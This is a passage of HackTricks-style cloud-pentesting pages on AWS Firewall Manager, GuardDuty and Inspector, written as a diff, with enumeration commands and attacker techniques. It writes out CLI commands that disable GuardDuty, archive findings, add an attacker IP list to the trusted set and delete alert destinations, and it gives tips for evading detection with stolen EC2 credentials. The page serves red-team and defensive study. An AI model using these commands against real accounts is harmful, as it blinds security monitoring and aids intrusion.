"ResourceType": "AWS::EC2::SecurityGroup",
|
||||
"ExcludeResourceTags": false,
|
||||
"ResourceTags": [],
|
||||
"RemediationEnabled": true
|
||||
},
|
||||
"TagList": []
|
||||
}
|
||||
```
|
||||
|
||||
**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment.
|
||||
|
||||
### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
|
||||
|
||||
An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager.
|
||||
|
||||
```bash
|
||||
# Associate/Disassociate resources from a resource set
|
||||
aws fms batch-associate-resource --resource-set-identifier <value> --items <value>
|
||||
aws fms batch-disassociate-resource --resource-set-identifier <value> --items <value>
|
||||
|
||||
# Create, modify or delete a resource set
|
||||
aws fms put-resource-set --resource-set <value> [--tag-list <value>]
|
||||
aws fms delete-resource-set --identifier <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment.
|
||||
|
||||
### `fms:PutAppsList`, `fms:DeleteAppsList`
|
||||
|
||||
An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS.
|
||||
|
||||
```bash
|
||||
aws fms put-apps-list --apps-list <value> [--tag-list <value>]
|
||||
aws fms delete-apps-list --list-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
|
||||
|
||||
### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
|
||||
|
||||
An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS.
|
||||
|
||||
```bash
|
||||
aws fms put-protocols-list --apps-list <value> [--tag-list <value>]
|
||||
aws fms delete-protocols-list --list-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
|
||||
|
||||
### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`
|
||||
|
||||
An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs.
|
||||
|
||||
To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role.
|
||||
|
||||
For information about configuring an SNS access policy:
|
||||
|
||||
{{#ref}}
|
||||
../aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
aws fms put-notification-channel --sns-topic-arn <value> --sns-role-name <value>
|
||||
aws fms delete-notification-channel
|
||||
```
|
||||
|
||||
**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment.
|
||||
|
||||
### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall`
|
||||
|
||||
An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager.
|
||||
|
||||
> [!WARNING]
|
||||
> Only the default administrator can create and manage third-party firewalls.
|
||||
|
||||
```bash
|
||||
aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
|
||||
aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
|
||||
```
|
||||
|
||||
**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation.
|
||||
|
||||
### `fms:TagResource`, `fms:UntagResource`
|
||||
|
||||
An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
```bash
|
||||
aws fms tag-resource --resource-arn <value> --tag-list <value>
|
||||
aws fms untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html)
|
||||
- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html)
|
||||
- [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,193 @@
|
||||
# AWS - GuardDuty Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GuardDuty
|
||||
|
||||
According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs.
|
||||
|
||||
Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation.
|
||||
|
||||
Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events.
|
||||
|
||||
> [!WARNING]
|
||||
> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\
|
||||
> If you just stop it, the existing findings will remain.
|
||||
|
||||
### Findings Example
|
||||
|
||||
- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP.
|
||||
- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS.
|
||||
- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses.
|
||||
- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Finding Information</summary>
|
||||
|
||||
Finding summary:
|
||||
|
||||
- Finding type
|
||||
- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low
|
||||
- Region
|
||||
- Account ID
|
||||
- Resource ID
|
||||
- Time of detection
|
||||
- Which threat list was used
|
||||
|
||||
The body has this information:
|
||||
|
||||
- Resource affected
|
||||
- Action
|
||||
- Actor: Ip address, port and domain
|
||||
- Additional Information
|
||||
|
||||
</details>
|
||||
|
||||
### All Findings
|
||||
|
||||
Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
|
||||
|
||||
### Multi Accounts
|
||||
|
||||
#### By Invitation
|
||||
|
||||
You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.
|
||||
|
||||
#### Via Organization
|
||||
|
||||
You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator.
|
||||
|
||||
An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# Get Org config
|
||||
aws guardduty list-organization-admin-accounts #Get Delegated Administrator
|
||||
aws guardduty describe-organization-configuration --detector-id <id>
|
||||
|
||||
# Check external invitations
|
||||
aws guardduty list-invitations
|
||||
aws guardduty get-invitations-count
|
||||
|
||||
# Detector Information
|
||||
aws guardduty list-detectors # 1 detector per account with GuardDuty
|
||||
aws guardduty get-detector --detector-id <id> # Get detector info
|
||||
aws guardduty get-master-account --detector-id <id>
|
||||
|
||||
# Get filters
|
||||
aws guardduty list-filters --detector-id <id> # Check filters
|
||||
aws guardduty get-filter --detector-id <id> --filter-name <name>
|
||||
|
||||
# Findings
|
||||
aws guardduty list-findings --detector-id <id> # List findings
|
||||
aws guardduty get-findings --detector-id <id> --finding-ids <id> # Get details about the finding
|
||||
aws guardduty get-findings-statistics --detector-id <id> --finding-statistic-types <types>
|
||||
|
||||
# Get trusted IP addresses
|
||||
aws guardduty list-ip-sets --detector-id <id>
|
||||
aws guardduty get-ip-set --detector-id <id>
|
||||
|
||||
# Member accounts of the current AWS GuardDuty master account
|
||||
aws guardduty list-members --detector-id <id>
|
||||
aws guardduty get-members --detector-id <id> --account-ids <id>
|
||||
aws guardduty get-member-detectors --detector-id <id> --account-ids <id>
|
||||
|
||||
# Continuously export its findings to an Amazon S3 bucket
|
||||
aws guardduty list-publishing-destinations --detector-id <id>
|
||||
|
||||
# Intelligence sets that you have uploaded to GuardDuty
|
||||
aws guardduty list-threat-intel-sets --detector-id <id>
|
||||
aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
|
||||
```
|
||||
|
||||
## GuardDuty Bypass
|
||||
|
||||
### General Guidance
|
||||
|
||||
Try to find out as much as possible about the behaviour of the credentials you are going to use:
|
||||
|
||||
- Times it's used
|
||||
- Locations
|
||||
- User Agents / Services (It could be used from awscli, webconsole, lambda...)
|
||||
- Permissions regularly used
|
||||
|
||||
With this information, recreate as much as possible the same scenario to use the access:
|
||||
|
||||
- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible)
|
||||
- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges
|
||||
- Always try to use the **same permissions** this principal has used
|
||||
- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one)
|
||||
|
||||
### Breaking GuardDuty
|
||||
|
||||
#### `guardduty:UpdateDetector`
|
||||
|
||||
With this permission you could disable GuardDuty to avoid triggering alerts.
|
||||
|
||||
```bash
|
||||
aws guardduty update-detector --detector-id <detector-id> --no-enable
|
||||
aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs={Enable=false}
|
||||
```
|
||||
|
||||
#### `guardduty:CreateFilter`
|
||||
|
||||
Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings:
|
||||
|
||||
```bash
|
||||
aws guardduty create-filter --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
|
||||
```
|
||||
|
||||
#### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
|
||||
|
||||
Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts.
|
||||
|
||||
```bash
|
||||
aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
|
||||
```
|
||||
|
||||
#### `guardduty:DeletePublishingDestination`
|
||||
|
||||
Attackers could remove the destination to prevent alerting:
|
||||
|
||||
```bash
|
||||
aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings.
|
||||
|
||||
### Specific Findings Bypass Examples
|
||||
|
||||
Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught.
|
||||
|
||||
Here you have a couple of examples of specific GuardDuty findings bypasses:
|
||||
|
||||
#### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) <a href="#pentest-iam-kalilinux" id="pentest-iam-kalilinux"></a>
|
||||
|
||||
GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
|
||||
It's detected by the **user agent name** that is passed in the API request.\
|
||||
Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack.
|
||||
|
||||
To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering.
|
||||
|
||||
#### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
|
||||
|
||||
Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert.
|
||||
|
||||
> [!TIP]
|
||||
> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert.
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html)
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html)
|
||||
- [https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html](https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html)
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient)
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)
|
||||
- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)
|
||||
- [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,386 @@
|
||||
# AWS - Inspector Enum
|
||||
|
||||
## AWS - Inspector Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Inspector
|
||||
|
||||
Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management.
|
||||
|
||||
### Key elements
|
||||
|
||||
#### Findings
|
||||
|
||||
Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as:
|
||||
|
||||
- **Active**: The finding has not been remediated.
|
||||
- **Closed**: The finding has been remediated.
|
||||
- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**.
|
||||
|
||||
Findings are also categorized into the next three types:
|
||||
|
||||
- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues.
|
||||
- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches.
|
||||
- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups.
|
||||
|
||||
#### Filters and Suppression Rules
|
||||
|
||||
Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues.
|
||||
|
||||
#### Software Bill of Materials (SBOM)
|
||||
|
||||
A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components.
|
||||
|
||||
### Key features
|
||||
|
||||
#### Export findings
|
||||
|
||||
Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status.
|
||||
|
||||
When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information.
|
||||
|
||||
#### Amazon EC2 instances scanning
|
||||
|
||||
Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account.
|
||||
|
||||
- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance.
|
||||
- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning.
|
||||
|
||||
The scan mode determines which method will be used to perform EC2 scans:
|
||||
|
||||
- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection.
|
||||
- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless.
|
||||
|
||||
Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10:
|
||||
|
||||
- `/usr/lib`
|
||||
- `/usr/lib64`
|
||||
- `/usr/local/lib`
|
||||
- `/usr/local/lib64`
|
||||
|
||||
#### Amazon ECR container images scanning
|
||||
|
||||
Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently.
|
||||
|
||||
- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans.
|
||||
- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues.
|
||||
|
||||
#### Amazon Lambda functions scanning
|
||||
|
||||
Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions:
|
||||
|
||||
- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding.
|
||||
- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues.
|
||||
|
||||
#### **Center for Internet Security (CIS) scans**
|
||||
|
||||
Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines.
|
||||
|
||||
- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title.
|
||||
- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules.
|
||||
- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Administrator and member accounts #
|
||||
|
||||
## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 get-delegated-admin-account
|
||||
|
||||
## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-members [--only-associated | --no-only-associated]
|
||||
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 get-member --account-id <value>
|
||||
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 batch-get-account-status [--account-ids <value>]
|
||||
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 batch-get-free-trial-info --account-ids <value>
|
||||
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
|
||||
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]
|
||||
|
||||
## List an account's permissions associated with AWS Inspector
|
||||
aws inspector2 list-account-permissions
|
||||
|
||||
# Findings #
|
||||
|
||||
## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-findings
|
||||
## Retrieve vulnerability intelligence details for the specified findings
|
||||
aws inspector2 batch-get-finding-details --finding-arns <value>
|
||||
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
|
||||
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
|
||||
## Retrieve code snippet information about one or more specified code vulnerability findings
|
||||
aws inspector2 batch-get-code-snippet --finding-arns <value>
|
||||
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 get-findings-report-status --report-id <value>
|
||||
|
||||
# CIS #
|
||||
|
||||
## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-cis-scan-configurations
|
||||
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-cis-scans
|
||||
## Retrieve a report from a completed CIS scan
|
||||
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
|
||||
## Retrieve details about the specific CIS scan over the specified resource
|
||||
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
|
||||
## List CIS scan results broken down by check
|
||||
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
|
||||
## List CIS scan results broken down by target resource
|
||||
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>
|
||||
|
||||
# Configuration #
|
||||
|
||||
## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 describe-organization-configuration
|
||||
## Retrieve the configuration settings about EC2 scan and ECR re-scan
|
||||
aws inspector2 get-configuration
|
||||
## Retrieve EC2 Deep Inspection configuration associated with your account
|
||||
aws inspector2 get-ec2-deep-inspection-configuration
|
||||
|
||||
# Miscellaneous #
|
||||
|
||||
## Retrieve the details of a Software Bill of Materials (SBOM) report
|
||||
aws inspector2 get-sbom-export --report-id <value>
|
||||
|
||||
## Retrieve the coverage details for the specified vulnerabilities
|
||||
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>
|
||||
|
||||
## Retrieve the tags attached to the specified resource
|
||||
aws inspector2 list-tags-for-resource --resource-arn <value>
|
||||
|
||||
## Retrieve the AWS KMS key used to encrypt the specified code snippets
|
||||
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>
|
||||
|
||||
## List the filters associated to your AWS account
|
||||
aws inspector2 list-filters
|
||||
|
||||
## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-coverage
|
||||
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
|
||||
aws inspector2 list-coverage-statistics
|
||||
|
||||
## List the aggregated usage total over the last 30 days
|
||||
aws inspector2 list-usage-totals [--account-ids <value>]
|
||||
|
||||
### INSPECTOR CLASSIC ###
|
||||
|
||||
## Assessments info, there is a "describe" action for each one to get more info
|
||||
aws inspector list-assessment-runs
|
||||
aws inspector list-assessment-targets
|
||||
aws inspector list-assessment-templates
|
||||
aws inspector list-event-subscriptions
|
||||
|
||||
## Get findings
|
||||
aws inspector list-findings
|
||||
|
||||
## Get exclusions
|
||||
aws inspector list-exclusions --assessment-run-arn <arn>
|
||||
|
||||
## Rule packages
|
||||
aws inspector list-rules-packages
|
||||
```
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers.
|
||||
>
|
||||
> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones).
|
||||
|
||||
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
|
||||
|
||||
An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks.
|
||||
|
||||
```bash
|
||||
# Findings report
|
||||
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
|
||||
# SBOM report
|
||||
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
|
||||
```
|
||||
|
||||
The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key:
|
||||
|
||||
